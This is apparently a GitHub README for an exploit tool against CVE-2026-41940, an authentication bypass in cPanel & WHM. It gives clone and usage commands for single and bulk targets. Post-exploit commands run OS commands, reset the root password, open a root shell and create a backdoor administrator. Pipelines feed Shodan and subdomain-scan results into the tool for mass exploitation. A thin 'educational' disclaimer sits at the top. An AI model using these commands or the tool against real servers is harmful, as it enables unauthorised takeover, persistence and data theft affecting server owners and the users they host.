# CVE-2026-41940
> **⚠ This tool is created solely for educational or bug bounty purpose only. Unauthorized use outside of controlled environments is strictly prohibited.**

## Description
A tool for exploiting CVE-2026-41940, a critical authentication bypass in cPanel & WHM (CVSS 10.0), allowing unauthenticated attackers to gain root-level WHM access by injecting CRLF sequences into server-side session files via the Authorization header — no credentials required.

## How it works
CVE-2026-41940, in general terms, is exploited through a breakdown in how the system handles authentication sessions in cPanel/WHM. The attack typically begins with a normal request to the login interface, where the application prematurely initializes a session before fully validating user credentials. Because of improper handling of session-related input, certain crafted or unexpected input structures can alter how session data is stored or interpreted by the server.

## Installation(Windows/Mac OS)🔄

```bash
git clone https://github.com/pemarine/CVE-2026-41940-PoC
cd CVE-2026-41940-PoC
# Windows 
python cve.py
# MacOS/Linux
python3 cve.py
```

# How to use
The tool expects a target domain to be specified.

Single target mode:
```bash
python cve.py -u https://target1.com:2083
```
You can also scan from the `target.txt` file(create it):
```bash
python cve.py -l target.txt -t 50 -o result.json
```
## Basic scan:

Available commands:
```bash
python cve.py -u https://victim1.com:2083 # single target scan
python cve.py info -u https://victim1.com:2083 # Retrieves system information (version, load, disk usage).
python cve.py host -u https://victim1.com:2083 # Retrieves the hostname of the target server.
```

# Post-Expoit actions

```bash
# List all accounts on the server
python cve.py list -u https://target.com:2087

# OS command
python cve.py cmd -u https://target.com:2087 --cmd "id;whoami;uname -a"
python cve.py cmd -u https://target.com:2087 --cmd "ls /home"

# Get server info (hostname, disk, MySQL host)
python cve.py info -u https://target.com:2087

# Change root password
python cve.py passwd -u https://target.com:2087 --passwd 'NewPassword1423!!@'

# Interactive WHM shell
python cve.py shell -u https://target.com:2087
```
# Pipelines
```bash
# subfinder → httpx → cPanelSniper
subfinder -d victim.com -silent | \
  httpx -silent -ports 2085,2086 -threads 50 | \
  python cve.py scan -t 40 -o results.json

# From scope list
cat scope.txt | \
  httpx -silent -ports 2085,2086 -threads 100 | \
  python cve.py scan -t 30 -o results.json

# Shodan results
shodan search --fields ip_str,port 'title:"WHM Login"' | \
  awk '{print "https://"$1":"$2}' | \
  python cve.py -t 30 -o shodan_results.json

# Multiple sources combined
{ subfinder -d victim.com -silent; cat extra.txt; } | \
  httpx -silent -ports 2087 | \
  python cve.py -t 20 --action list
```

# WHM Shell mode
After a succesful executuion, you can open an interactive WHM shell:
```bash
python cve.py shell -u
```

### All shell Commands

| Command | Description |
|---------|-------------|
| `id` | Show User ID |
| `hostname` | Get server hostname |
| `accounts` | List all user accounts |
| `info` | Load, disk, MySQL host, version |
| `cat <path>` | Read file content |
| `exec <cmd>` | Execute OS command |
| `newadmin <user> <pass>` | Create backdoor WHM admin |
| `passwd <pass>` | Change root password |
| `l [path]` | List directory |
| `help` | Show all commands |
| `exit` | Exit shell mode |
